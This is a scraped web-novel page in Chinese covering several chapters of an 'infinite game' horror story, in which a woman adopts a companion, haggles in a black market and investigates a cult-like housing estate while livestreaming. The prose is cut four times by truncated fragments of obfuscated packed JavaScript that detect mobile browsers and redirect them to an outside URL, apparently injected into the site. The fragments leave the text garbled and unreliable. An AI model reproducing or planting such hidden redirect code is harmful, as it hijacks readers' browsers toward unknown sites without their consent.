l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085714|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧。 白知之边走边吹着口哨,要是这个世界都像经理一样人杀钱多,岂不是很快就能还完三亿巨款? “哇哈哈哈哈哈哈……”白知之仰天大笑。 路人走过一个又一个,却没有投向怪异的眼神,因为在游戏世界,时常有人疯,所以他们奉行及时行乐。 若是积分有实体,白知之现在估计会拿一沓票子甩着走。 没办法,穷人一夜暴富总想炫耀炫耀。 不过没高兴多久,身体便受不住了。两天的副本可把她的身心折磨凋零,她绝对找个环境好服务好的酒店休息休息,不,还是短租一个房子自己住吧。血肉侵蚀的感觉依旧刻骨铭心。 游戏大厅可谓应有尽有,但是娱乐是要用积分兑换的。于是游戏大厅出现许多玩家兼职,比如酒吧的调酒师,还有房产中介。 白知之敲定方向,大步走去,却大叫一声“啊”。 她被脚下的东西绊了个踉跄。 白知之无奈撇嘴,不管什么时候,她的运气都差到了极点。 适才绊到她的是一个人,没错,一个昏迷不醒,全是都是鲜血,衣衫褴褛的人。这一看就是刚出副本的玩家。 白知之决心不管她,可是看见周围人来人往,一脸冷漠麻木的表情时,接受了九年义务教育的良心告诉自己,不能丢下一个小女孩在大马路上不管不顾,万一被汽车轧到了呢?虽然游戏大厅的马路上禁止开车。 她扶额苦笑,最终败给了自己浅薄的良心,她咬牙扶起女孩,又忍住心痛,闭眼兑换了一瓶她自己都舍不得喝的治愈剂与止痛剂,三千积分像流水一样哗哗流走了。 女孩很快恢复清醒,看向眼前的人儿,她的第一句不是问的你是谁,而是用微弱的声音说出:“好美……” 白知之强力压住上翘的嘴角,一脸关心地说:“你还好吗?” 女孩微笑,血色快速爬上苍白的脸,“好多了,谢谢你,恩人。” 白知之送了一口气,“你要不要回家?”这种状态,还是回到原来的世界好好休整一番微妙。 可是女孩突然情绪激动地握住她的手,说:“救命之恩,无以为报,小女子只有性命一条,不如……” “别别别!”白知之瞪大了眼睛,打断女孩的话,没想到游戏世界也有以身相许的老套戏码,她可承受不住。 女孩羞涩一笑,“恩人知我心中所想?” 白知之表情有些许僵硬,这个问题叫她如何回答。 沉默了几秒,女孩低眉垂眼,一滴豆大的泪啪嗒打在白知之的手背。 白知之不擅长哄人,有些慌忙地说道:“我没钱,不能再承担多一个人的积分。” 女孩抬头,语气坚定:“我胃口小要求低,不会花费恩人积分的。” “我我我……”白知之一时想不出托词,眼珠一转,忽地想到小白楼,她改变口风:“好吧,你跟着我吧。” 女孩眼睛弯弯盛满欣喜,一把抱住白知之,大声说:“谢谢恩人!” 白知之身体僵硬,犹豫片刻,轻轻回抱小女孩。 18. 美德社会0 “你的代号是什么,技能是什么,有多少积分,手上有多少道具现在统统交代,发在我的‘通灵’上。”白知之行事果断,既然小女孩想要跟着自己,就要向她展现她有的价值以及对自己的信任。 就在白知之擦把脸的功夫,小女孩就把信息罗列好发过来了。 不错,做事效率高。 白知之点开手机看:代号捣蛋鬼,技能是恶作剧之王,具体能力是脑中生成一个恶作剧后便可获得完成这个恶作剧的一种能力。 积分和道具放出的都是截图,积分有15500320,道具列只有一个鬼脸面具。 白知之回头深深地看了一眼缩成一团坐在床边的捣蛋鬼,冷冷道:“还钱!” “啊?”捣蛋鬼震惊得下巴都合不拢。 白知之坐在捣蛋鬼旁边,一笔一笔算起账来,“救你的治愈剂和止痛剂一共三千,加上我还给你买了一件新外套,五千积分,另外这个房间以后我们两个人一起住,收你二十万积分不过分吧?”其实除了治愈剂和止痛剂这类所有人都知道的价格的商品外,其他几样她都撒了谎。 没办法,欠了太多债,再说她也算劫富济贫了。 捣蛋鬼嘴角抽了两下,看了白知之好几眼,才确定她的话不是开玩笑,才认命地拿起手机准备转账,却被她抬手拦住,对上捣蛋鬼充满希冀的眼光中说:“我给你抹个零,二十一万积分,现在你那存着,以备不时之需。” 反向抹零,够欺负人的,但谁让白知之现在是捣蛋鬼硬要报答恩情的恩人呢。 捣蛋鬼尽心尽力做白知之的跟班,也充作她的钱包。 游戏世界的黑市与现实世界的菜市场差不多,都是卖主在地上铺一块防水布,在上面摆放自己的商品,不过黑市中的商品是由投影仪投射出来的,不过游戏世界出品的投影仪不仅可以映射商品外形还可以实体化商品质感,一定程度上保障了顾客权利。 另外,黑市的摊主穿着都非常显眼,异常奇特。白知之放眼看过去,有的会在自己脑袋上装一个老虎脑袋,作一个被老虎咬的造型;有的则是在身体四肢上作文章。卖家在不暴露自己真实身份的前提下,极大程度地加深买主对自己的印象。 卖家不露脸,买家也不露脸。这样的交易百分百保密,万一遇上对抗本,不至于提前被敌人摸清底细。 在这种严密隐私的环境下,白知之在众人惊异的目光中大摇大摆地走进来逛了一圈。 捣蛋鬼在进黑市前特意嘱咐了白知之变换造型,现下看她坦荡得快把底裤交出去的模样,无奈也撤下了自己的伪装。 “诶,你刚刚那副模样怪好看的,怎么换下来了?”白知之故作疑惑地说。 “恩人坦坦荡荡我也不能落伍啊。堂堂正正做人,清清白白行走!”捣蛋鬼眼睛弯弯,盛满笑意。 实际上,捣蛋鬼跟在白知之身边,只要有白知之的出现,谁不知她身边是捣蛋鬼了,除非一直伪装。 “孺子可教!”一个笔直的大拇指送到了捣蛋鬼的眼前。 两人走到尽头,准备拐弯,这时白知之暗暗道:“现在你自己去逛,等会我们在酒店集合就好了。” 话毕,白知之循着自己看中地那几家摊位走去,走得叫一个果断,不拖泥带水,留下捣蛋鬼一个人小声喊:“别走,等会!” 白知之自然听到了,但小孩需要独立,不能老是待在她的身边,她的育儿手册第一天规则:放养。 现下捣蛋鬼很想做一件符合她十五六岁年纪的事,便是蹲下抱头痛哭。 两人出酒店时互换了手机,捣蛋鬼因欠白知之二十一万积分便打开了自己的付款权限——全部,而白知之的手机的权限没有一项为她打开,这部手机除了起装饰作用,都没有一块砖头实用。 等白知之走远,一旁的商贩说:“捣蛋鬼,你竟敢以真面出来,知不知道今天谁会来?”经过变声器的扭曲也没能遮盖其中幸灾乐祸的语气。 捣蛋鬼白了商贩一眼,“管好你自己吧。”做了个鬼脸朝他吐了个舌头后便消失在人群之中了。 商贩心中不服,切了一声,“有什么好得意的,小心他把你削得一丝肉也不剩。”说完,他低头看自己的摊面,才发现自己所有映射出来的商品全部不见——自己投射商品外形的投影仪坏了。 “捣蛋鬼——”这三个字可谓是咬牙切齿。 另一边,白知之心中有了想法,直直朝一家摊位走去。 “老板,你这肌肉衣有什么作用?”白知之提起那件肌肉衣,手感与真人皮肤没有差异,隐隐可见皮肉下的青色血管。 这位卖家造型不比其他奇异,不过在变换容貌的基础上又在嘴唇右上方加了一颗有葡萄大黑色肉痣,笑起来上嘴唇,鼻子两面挤压这颗黑肉痣,丑挤了,犹如此刻。 “顾客好眼光,这件商品出自美德社会副本中一个NPC手上……”商贩延长语气,眼睛一骨碌转一圈,调转话题:“穿上它可以拥有撕天之力,时效一个副本。” 白知之听懂了他的言外之意,买道具送副本解析,很让人心动的附加礼物,况且白知之很需要这个道具。 “多少积分?”白知之忍着这颗黑色大肉痣对自己心灵的摧残,盯着商贩的眼睛。 “一千五百万积分,少一分也不行。”商贩笑意愈来愈深,那颗大肉痣仿佛要被嘴唇与鼻子挤压出来。 捣蛋鬼账户确实有这么多积分,可是一次性花完可不是明智的选择。 “一百万!” 商贩顿时取消了肌肉衣道具的投放设置,“我不欢迎您这种不诚心交易的顾客。” “诶诶!别呀。”白知之因为商贩还会再讨价还价几轮,没想到态度如此果断。 “现在美德社会副本正在预备开放阶段,不少人想要从我这拿到一手消息。这位顾客,我这里的每件商品都是我亲手甚至付出性命从副本带出来的,你贬低它的价格就是在贬低我!”商贩一掌猛地拍向地面,脸上的肉痣都颤了一颤。 “呵呵,别想骗我。这根本就不是你自己从副本带出来的吧。” “休想诈我!” “你的技能应该是能够看穿对方的账户积分吧?”白知之眯眼观察商贩表情。 “胡编乱造!”他的语气明显弱了起来。 在白知之来之前就有一位顾客在他摊位交易,那位顾客明显犹豫了许久,不过交易成功,估计是双方谈了一个都能接受的价格,那价格白知之听到了,八千八百积分,不多,可见摊位道具水平整体不高。其次,这种手段在现实世界比比皆是,提高商品价格,再以自己卖亏的低姿态卖出,既可在买家那留个好印象,因为愧疚而下次再来,也可大大提高商品价格。 “使用这种违反诚信交易原则的技能,黑市不管吗?” 黑市名叫黑市,但很有秩序,甚至是公平。里面的商贩摊位随机排序,意味着每个摊位都能轮到最靠近门口的位置,也就是交易量最高的位置。另外要遵守一定的规则,白知之听捣蛋鬼说,黑市不允许有垄断商业行为,暴力交易行为等等,且每月会有专人监测违规交易行为,违规者不可再进黑市,不管是作为卖家还是买家。 这些规定保护了商家和顾客的权益。某种意义上来说,游戏世界的黑市竟然比现实世界的商业环境要好上数倍。 商贩一滴泪流进眼睛他都没时间去擦,急忙调出那件肌肉衣,满脸堆笑送进白知之手里,“顾客您看,这件肌肉衣真是不错呢,这纹理这触感。而且现在美德社会副本正在预备开启,有它说不定事半功倍。” “你不知道副本详情?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085715|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是一滴豆大的汗,这回流进嘴里,咸涩的味道掩盖不住他慌张的心绪,“哈哈,那不是为了卖出这件肌肉衣嘛。摆渡有卖大力剂,谁还买肌肉衣。但这件肌肉衣确实是从美德社会副本出来的,我不敢骗您。” 看来他犯的规则不少。 “那么,现在多少积分肯卖给我?” “一万积分?”商贩瞧着白知之的脸色试探。 黑市有规则,为了不影响市场正常运作,卖出的商品不得低于系统评估价值的三分之一,不得高于系统评估价值的三十倍。 “可以。”白知之从捣蛋鬼的账户划过去了一万积分,拿走了这件肌肉衣。 “干得不错。”一个人从黑影里现身,拍拍商贩的肩膀,下一秒,商贩化成一滩水蒸发成白汽,消失不见。 一整局有力量保障可比买大力剂划算多了。 白知之心情美滋滋,顺路再买了一个通心结,此通心结可连接两人,若有要事提醒,可用心交流,对方可知晓。那商贩还神秘兮兮地拉过白知之耳语:“细绳系的一端的人可以感知到对方对自己的杀心,这种感知很不一样呦。” 采购了两个道具,一共才花费三万积分,特别是其中一个道具价格打了骨折买到。白知之边走边哼歌,满心欢喜。 “恩人!”如铁箍般的双臂一把环住了她。 白知之低头看发现是捣蛋鬼,心下疑惑:“你怎么还在这呢?” “我没有钥匙。”语气可怜兮兮,配上她通红的大眼睛,白知之嘴上笨不懂安慰人,只好拍拍她的背。 “走吧,我带你回家。” “对了,这是我送你的礼物。”白知之边走边拿出通心结,给两人系上并介绍功能。 “进副本你有什么坏心思记得提前知会我,我们可以玩个更大的。”白知之眼底闪出一丝精光。她很喜欢捣蛋鬼的技能,也很想占为己有,但是杀害弱小的事她做不到。 黑市在电子屏附近。为了验证适才卖出肌肉衣商贩的话,白知之特地带着捣蛋鬼绕路去看了眼待开副本,果然有美德社会,上面白色闪烁的字显示还差两人。 白知之站在电子屏前思考了一会儿。 现在加入副本时间太赶,可不加入恐怕错过美德社会副本的开本时间。 “恩人,我好累,不先” 白知之站定良久,最终决定再休息几天,转身准备离去,没想脑海传来幽幽的声音,不过相比交易时冷漠不近人情的声音,这回的声音带着几分幸灾乐祸,“请问您是否要进入美德社会副本?” “否!”白知之生怕回答错误,特地斟酌了一遍再回答否。 “好的。” 白知之松了一口气。 “美德社会副本正在载入中……” “我——”后面那个字白知之还未说出口,人已消失在游戏大厅,身体卷入了奇异的世界中。 “恭喜您进入美德社会副本,请确认您的身份和任务。” 白知之睁开眼,发现自己躺在一扇黑漆铁门外,一条有手臂粗的铁链锁着大门,抬眼向上看,大门上面摆着四个大字——美德社会。 白知之站起来,拍拍身上的灰尘,眨了眨眼,眼前浮现一行字:“你是一位主播,这期你的主题是介绍美德社会,注意,不要违反人设!”最后两句话用红字标识。 地上有一个背包,打开看,里面有一部直播用的手机和手持支架,另外还有一张任务纸条,上面写着:找到神像。 找到神像?这次任务听着也挺简单的,白知之心下有不好的预感。她拿出手机准备看看自己的面板值,才发觉自己一直拿着捣蛋鬼的手机。 那么……她的手机也在捣蛋鬼手上。 副本中的手机不可设置权限,意味着她不可公之于众的秘密可能…… 19. 美德社会1 白知之擦了把额头上并不存在的汗水,现在的当务之急是赶在捣蛋鬼查看她的手机之前拿回自己的手机。 白知之咽下一口唾沫,凡事往好处想,捣蛋鬼视她为救命恩人,肯定不会翻救命恩人的手机,窥探隐私的。 白知之这么想着,自己的手很诚实地划开捣蛋鬼的手机,查看她的技能——技能名为恶作剧,玩家可在心中生成一个恶作剧,便可获得可以完成这项恶作剧的具体技能。 技能下方还显示着一行小字:恭喜您,您现在可以同时进行三场恶作剧,您是当之无愧的恶作剧大王。目前,您有一场恶作剧正在进行,获得了灵魂交流技能,期待您的杰作。 白知之挑眉,有些好奇。 接着,她将目光转移到自己最感兴趣的积分账户上。 您的积分余额为:75334467积分。 白知之脸上的表情僵住了,她以为捣蛋鬼原先展示给她的一千五百万积分已经够多了,没想到她还藏着这么多…… 七千五百万积分不是小数目,白知之小瞧了这位捣蛋鬼,看来她不是一位简单的童工。 “叮铃铃——”铁门内传来一阵铃声,接着一道声音在白知之脑中回荡:“新的一天开始了,祝大家一天都能拥有好心情!”是一个女人的声音,随着话毕,铁门上束缚的锁链“啪嗒”一声落在地上,铁门自动从内打开。 白知之背起背包,打开副本配置的新手机,开启晨间直播。 “铁子们,今天我们来到了美德社会,据说这里环境优美,居民素质普遍偏高,且性价比不错,是当今买房的不二之地,快来让我们看看吧!”白知之绞尽脑汁也只能说出这几句话,平日里刷的视频直播简直是从她的脑袋路过,不留下一点云彩。 刚开播,直播间没什么人,寥寥几条评论都与直播主题无关,倒是与主播有关,“主播你好漂亮啊,能不能加一个联系方式。”“这个妹妹我在哪见过。”“做你的榜一大哥有什么福利吗?” 白知之装作没看见,一个也没回答。 她举着相机走进铁门。 其实所谓的美德社会就是一个小区名字,这个小区建筑风格,绿化什么的与其他小区没有太大差别,唯二的差别就是这个小区异常的净——早晨风大,地上一片落叶也没有,甚至连灰尘也不见,另外就是异常的静,按理说早晨是一天中人最忙碌的时间,上班上学都在这一时间点,可是除了凄冽的风声外白知之的耳朵便再没听到一丝声音。 目前为止,白知之竟未看到一个活人,连铁门旁的保安亭里的办公桌也落了满满一层灰。 白知之往前走了几步,来到美德社会的中心,那里有一个公告栏,正中间列了几行加黑加粗的打字:进入美德社会请谨记以下规则: 1.欢迎来到美德社会,这里的每一个居民都拥有美好的品德。 2.我们这里不欢迎外来者,请不要暴露你的身份。 3.冯主任是美德社会中品行最高尚的人,如若遇到困难请找她。 4.作为美德社会的居民,遇到其他居民有困难请帮助ta,神会给你奖励。 5.美德社会不信神,只信任美好品德。 6.美德社会有一面镜子,你有问题可以问它,镜子会回答你。 7.(空白的一行) 8.(被划掉) 9.美德社会,不欢迎您的到来。 为了直播效果,白知之一个字一个字念了出来,临了还加上一句:“家人们,这社区规则整得挺像规则怪谈,不如我们就当一场游戏玩玩?” 下面的评论清一水的赞成,但还有个别观众认为美德社会太邪乎,劝告主播赶紧离开。 其中一条评论就是:“这小区真挺诡异的,前几年我那个欠了一身赌债的叔叔住进去,不仅不赌了,烟酒也全戒了,和我婶婶关系也好了不少,现在竟然还把赌债全还完了。特别是他们离经叛道的儿子也就是我堂哥,之前因为打人,成绩太差被学校劝退,今年考上了985。” 紧接着有评论回复:“这是房产商买来的水军吧,一样的话术我看了不知道多少遍。” 原评观众立马反驳:“我真不是水军。我叔叔一家住进去都和换了一个人似的。最近和他们一家聚餐,他一会劝我爸把房卖了搬进美德社会和他一起住,说那里的人多好多好,特别是什么主任。我爸本来都被说动了,但是他又突然摔碗,说美德社会不欢迎我们。” 这条评论下满是说原主邪乎,造谣,打广。 但是白知之放在了心上,这番话很重要。 住进去的人性情大变,并且都是往好方向转变,这不像是自身发生转变,毕竟一个赌徒怎么可能戒得了赌。 原评观众留下的评论所集中叙述的点在于叔叔和堂哥的变化,那她的婶婶呢? 副本从不作无用的安排,白知之决定从这条评论入手。 眼见直播间因为诡异的社区规则与评论区的评论热度升高,白知之维持人设,趁热打铁私信了那位观众的后台,询问了她叔叔的具体住址,准备上门探寻。 “现在我们即将进入这位粉丝的叔叔家,一探究竟,她说的到底是谎言,还是真相……”白知之故弄玄虚地拉长声音,在单元楼门口磨蹭了许久才推门进去,拉满了观众的好奇心。 单元门后站着一个男人,瞪大眼睛与白知之面面相觑。 他人本就比白知之矮一个头,与她对视一眼后迅速低下头,一副畏畏缩缩地模样,低声说:“我以为你站在门口求助……”他的声音细得一阵风都可以刮走。 “您好,我现在正在直播,请问您愿意入镜吗?” 规则第二条:我们这里不欢迎外来者,请不要暴露你的身份。 白知之迅速带入美德社会居民的身份,拥有尊重他人隐私权与肖像权的美好品德。 男人轻轻点了一下头,主动看向镜头露出一个标准的没有生命力的微笑,“欢迎大家参观美德社会!”这句话说得激情四射,仿佛变了一个人。 这莫非不是一个传销 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095817|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组织? 白知之端起自己做主播的职业素养,当场向男人打探起粉丝叔叔的事,“请问您认识708的住户吗?” 男人用力点头,眼睛被点亮,道:“当然认识,美德社会的每一个居民都互相认识,互相帮助,我们团结一心,共建理想家园。”后面一长串话犹如广告语,评论区铺天盖地的质疑声。 白知之本想先回应观众的评论,没想低头迎上了男人希冀的目光,他嘴微微努起,似乎在暗示什么。 “对!美德社会的居民互相认识,互相帮助,我们团结一心,共建理想家园!”白知之说得热血沸腾,可男人依旧不满意,白知之脑子一转,想起社区规则第一条,连忙接上:“欢迎来到美德社会,这里的每一个居民都拥有美好的品德。”说完,得体一笑,像是广告的谢幕。 评论区的质疑声愈演愈烈,甚至有人攻击起先前那位粉丝。 这时白知之忽地调转口风,怒斥一声: “美德社会,不欢迎您的到来!” “美德社会,不欢迎您的到来!” 这一句话,伴随着猛烈的拍门声,言行都在扭曲适才的温和。 没想到白知之与男人异口同声,说起了这句扭曲的话。 评论静止了几秒,随后如洪水般弹出。 “主播这是被同化了?”“美德社会小区也太邪乎了吧。”“这广告是想让我们买房还是避雷?” 不少人因为两人的怪异行为进入直播间。 白知之挑眉,没想到真让瞎猫碰上死耗子了。 她根据先前粉丝的评论以及社区相互矛盾的规则说出这番话,正中男人下怀。他双手握住白知之的手,有些许颤抖,“好邻居,早上好。” 白知之同样回复了他,随后问起708住户也就是粉丝叔叔一家的近况。 “他们家因为拥有美好品德,所以住进来的每一天都很幸福。”他说着,脸上露出痴迷的表情。 白知之不再拖时间,与男人道别便往电梯走去。 还是太静太净了,没有人声,周围也看不出生活痕迹。 “叮——”电梯到了,中途没有因人摁了按钮暂停。 白知之顺着门牌号找到了708,但她又在门前磋磨。 “等直播间人数破三千,主播敲门怎么样?”白知之没想到自己有朝一日也玩上了自己最不喜的套路,但玩的人挺爽的。 果然人像驴一样,需要在脑袋上吊一根胡萝卜才愿行动,不一会直播间人数便突破了三千。 白知之行动干脆地敲响了708的房门,出来的是一位两鬓花白的妇人。 “你好,我正在直播,请问你愿意入镜吗?”女人的反应与男人完全不一样,更像个活人,可是身上却散发着一股腐朽的气味。 女人点头,敞开房门,露出了正在客厅打扫的小女孩。 她转头看向客人。 女人邀请白知之进去,可白知之愣在原地,因为客厅里的小女孩顶着一张与商聪林一模一样的脸。 20. 美德社会2 “您不进来吗?”女人见白知之站在门口许久,开口问道。她满脸堆笑,眼角层层叠叠的皱纹夹住皮肤上黄褐色的斑点。 白知之背后起了一层薄汗,因为这个长相与商聪林一模一样的女孩。 她至今无法忘记温乙洲的惨状,要是落到他手里,不死也得扒层皮,即使不是白知之直接坑害的商聪林,但与她有密不可分的关系。 “好的,谢谢。”白知之换上了女人为她准备的拖鞋走进屋子,嘴里不忘维持自己主播的人设,“好的各位铁汁们,我们已经走进那位粉丝朋友的叔叔家,来让我们来验验她的话的真假吧。” 白知之用摄像头扫了一圈房子,家具布置很温馨,有生活痕迹,比如墙上的奖状,桌上喝了一半的水杯。奇怪地是,还是感觉太感觉了,墙上没有破皮或龟裂,偷偷瞧了一眼的厨房,油烟机灶台边整洁无比,仿佛从未使用过,实在不像已经生活过几年的房子。 白知之在女人的牵引下坐在了客厅的沙发,小女孩原先坐的位置,但因她的到来,她被迫让出,站在她的旁边低着头,双手规矩地放在小腹前,低眉顺眼的。 “您好,我是一名主播,今天的主题是来介绍美德社会的。而我有一位粉丝朋友是您的侄女,她在我的评论区留言了您们一家搬进美德社会后的改变,所以我来这是想为您们做一个采访,以此让众人了解美德社会。”白知之说完这些话,女人的笑容忽有忽无,与美德社会的社区规则一样,矛盾极了。 “女士,请问怎么称呼您和您的女儿?”这个小女孩粉丝从未提到。 “你叫我王婶就好了,我的女儿叫李旺兄,随便称呼就好,小孩子不打紧的。”王婶说话间为白知之倒了一杯茶,茶叶的香气隔了几米远便能闻到。 白知之接过,放在鼻子下细闻,茶香浓郁,距离近些竟有些晕人,她在王婶期盼的眼神下抿了一口,仅仅沾湿嘴唇。 王婶明显有些不高兴,说:“这茶你不满意吗?” “哈哈,没有,只是我的粉丝有点着急了,想让我快快推进进度。” 白知之的话抚平了王婶皱着的眉。 那杯茶放在白知之面前的桌子上,伸手就能拿到的距离,香味如同丝线,缠绕鼻腔,让人的脑袋晕晕乎乎的,她必须尽快完成采访,逃离这里。 “其实粉丝最关注的是您的丈夫与您的儿子。”白知之开门见山,她剩下的时间不多了,指甲掐进手心,强迫自己保持清醒。 “请问美德社会是怎么让您的丈夫戒掉赌债?又怎么让您的儿子从混混变成名牌大学的学生?”白知之的镜头对准这个两鬓花白的女人,若不是粉丝提前说她的儿子今年才高考,她一定会将王婶的年纪再往上添二十岁。 王婶腼腆一笑,颧骨泛起一团红晕,气色都跟着好了起来,“因为他们都是美德社会的居民,所以他们具备美好品德。” 白知之眉尾一挑,美德社会社区规则第一条:欢迎来到美德社会,这里的每一个居民都拥有美好的品德。她一开始以为是因为拥有美好品德才能成为居民,没想到因果关系想反了。那么,判定外来者的条件可就多了许多。 “请问还有其他原因吗?比如居民间的友善,比如镜子的回答,比如神。”白知之还想细挖,她将社区规则中的可疑点全部提了一遍。 王婶想也没想,语气坚定的回答:“不管怎样,最重要的是成为了美德社会的居民。另外,我们不信神,美德社会没有神!”她的面容变得柔和,迟疑了会补充道:“硬要说……我认为冯主任是菩萨降世,拯救人间。” “哦?请问冯主任做了什么事,让您如此爱戴敬重?”白知之头越来越重,她不动神色地慢慢推远茶杯,可依旧是杯水车薪。 “你不知道?”王婶怀疑的眼神如利剑刺向白知之。 白知之心一跳,拿起杯子假装手滑摔在地上,一道闷声,打破了两人间的平静。 一旁久久没有动静的李旺兄终于开口,说:“我来收拾吧,妈妈。” 王婶略微满意地点了下头,随后脸色阴沉地说:“希望您这回不要手滑了。” 下一秒,李旺兄端了又一杯茶送了上来,这回这杯香气更加浓烈,远远闻到都觉得腻人。 白知之下意识撇了下鼻子,急忙问道:“请问您们母女两来到美德社会有什么变化吗?” 谈及王婶和她的女人的变化,她面上的乌云仿佛更加浓重,甚至有聚雷的趋势,“我们两个的变化,就是越来越爱这个家了。” 白知之呼吸变得急促,她假装看了一眼手机,问出了自己最想问的问题:“观众们已经迫不及待成为美德社会的一员了,王婶可以告诉她们怎么做吗?” 王婶嘴角微微上扬,冷冷道:“美德社会不欢迎您。”随后白知之被王婶赶了出去,并且迎头浇了一杯浓茶,香气萦绕周身,腻得白知之头昏脑胀,咚一声,后脑勺扣在冰冷坚硬的瓷砖上,后背一阵酸麻。 不对…… 白知之躺在地上,茶水湿凉黏在身上,却也让她寻得一丝清醒。 从一进单元门,那男人的话就不太可信。他说美德社会的居民互相认识,可是王婶却问自己为何不知道冯主任的事情,这一句话有两个信息点。一是她把白知之当作了美德社会的居民,可是白知之并不是;二是,美德社会的居民都知道冯主任做过什么善事,那么她做的事惠及全小区的居民。 很奇怪,美德社会处处透露矛盾。 “主播这是被扫地出门了?” “美德社会?我看叫疯子集中营吧,一个两个疯疯癫癫的。” “没人关心主播吗?我听见咚的一响,主播没事吧?” 白知之在地上躺了许久,直至身上的茶水都干涸。 这是她在游戏大厅新买的衣服,出师不利,一进副本就被弄脏。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106349|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知之边从地上爬起来,边叹了口气,真是倒霉不幸的一生。 她捡起地上的手机回应观众的评论。 为了节目效果,她故意急促喘气,神色慌张地说:“那茶里面有迷药,我刚刚晕了过去!” 果然,刚刚因白知之许久未有动静而掉下去的热度蹭蹭往上涨,突破了原先的热度顶峰。 镜头看不见的地方,捣蛋鬼的手机震动一下,是她回消息了。 白知之问她在哪,她回复:“在美德广场。” 白知之想了一会儿,才反应过来,应该是摆放公告栏的那块空地,于是起身,摁下电梯的下行键,电梯门正要关上时,一只粗糙短小的手拦截了电梯门。 打开,是王婶和李旺兄。 王婶看见白知之对她颔首点头,微微一笑,仿佛刚才将她赶出门还送了杯热茶的人不是她。 白知之回以微笑,装作闲谈:“王婶是去美德广场吗?” 王婶眼睛微抬,似乎有些诧异白知之如何知道自己的去处,“是的。” 白知之眼珠一转溜,举起手机对着观众,语气兴奋道:“各位观众朋友们,我们终于可以见到冯主任了。让你们见识见识,什么叫做活菩萨。” 她余光瞥见,王婶的嘴角微微下撇,而后以更加明显的上扬的弧度掩盖,她是想说服自己什么? 相比之下,李旺兄显得简单多了,从头到尾她几乎没有一丝情绪波动,脸上表情麻然,她决定从她身上下手。 “叮”一声,电梯停下,是六楼,不是白知之摁下的一楼。 有人进来,进来的第一时间王婶与那人打了招呼,接下来每层楼都是如此。陆陆续续进来的十几个人,但电梯内并不拥挤,因为所有人都在尽自己最大的努力缩小自己的使用空间,只是为了方便其他居民。 终于,电梯下行至一层,所有人井然有序地离开电梯,走在最末尾地是白知之和李旺兄。 她牵住小女孩的手,柔声道:“小妹妹,自从你搬进美德社会后,你有没有感觉自己或者你妈妈有发生什么变化?” 李旺兄眼都没抬,语气冷淡僵硬,“我和妈妈变得比以前更爱爸爸和哥哥了。”与王婶一样的回答。 下一秒,王婶冲出来扯开李旺兄,“怎么不跟着妈妈一起走?”话是对李旺兄说,可眼神的责备全落在白知之身上。 “走,你爸爸和哥哥回来了。” 白知之听到了这句话,看着公告栏前越聚越多的居民,心想有什么大事。 眨眼间,美德广场聚集了上千名居民,可整个广场除了呼吸声外再无其他杂音,非常安静,犹如白知之刚进入小区时的场景。 居民由低到高各自站着位置,白知之一眼便能瞧见公告栏下站着的人——一位穿着灰色西装的女士,很细节的是她的外套袖口上绣着一只眼睛。 另外,白知之看见了自己一直在找的人——捣蛋鬼。